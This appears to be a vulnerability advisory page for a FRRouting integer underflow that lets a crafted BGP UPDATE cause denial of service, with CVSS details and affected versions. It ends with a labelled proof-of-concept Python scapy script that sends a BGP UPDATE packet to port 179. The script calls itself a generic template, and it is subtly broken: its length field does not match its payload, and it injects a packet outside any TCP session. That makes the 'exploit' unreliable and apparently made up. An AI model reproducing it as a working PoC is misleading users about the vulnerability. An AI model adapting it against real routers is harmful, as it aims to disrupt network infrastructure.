An integer underflow in FRRouting (FRR) stable/10.0 to stable/10.6 allows attackers to cause a Denial of Service (DoS) via supplying a crafted BGP UPDATE message.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
FRRouting stable/10.0
FRRouting stable/10.1
FRRouting stable/10.2
FRRouting stable/10.3
FRRouting stable/10.4
FRRouting stable/10.5
FRRouting stable/10.6
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sys
from scapy.all import *
def send_exploit(target_ip):
# Crafted BGP UPDATE message to trigger integer underflow
# This is a generic template; specific bytes depend on the patch diff
marker = b'\xff' * 16
len_header = b'\x00\x13' # Length placeholder
type_msg = b'\x02' # UPDATE
# Malicious payload simulation
bgp_payload = marker + len_header + type_msg + b'A'*20
pkt = IP(dst=target_ip)/TCP(dport=179, flags='PA', sport=49152)/Raw(load=bgp_payload)
send(pkt, verbose=0)
print(f"[*] Exploit packet sent to {target_ip}")
if __name__ == "__main__":
send_exploit("192.168.1.1")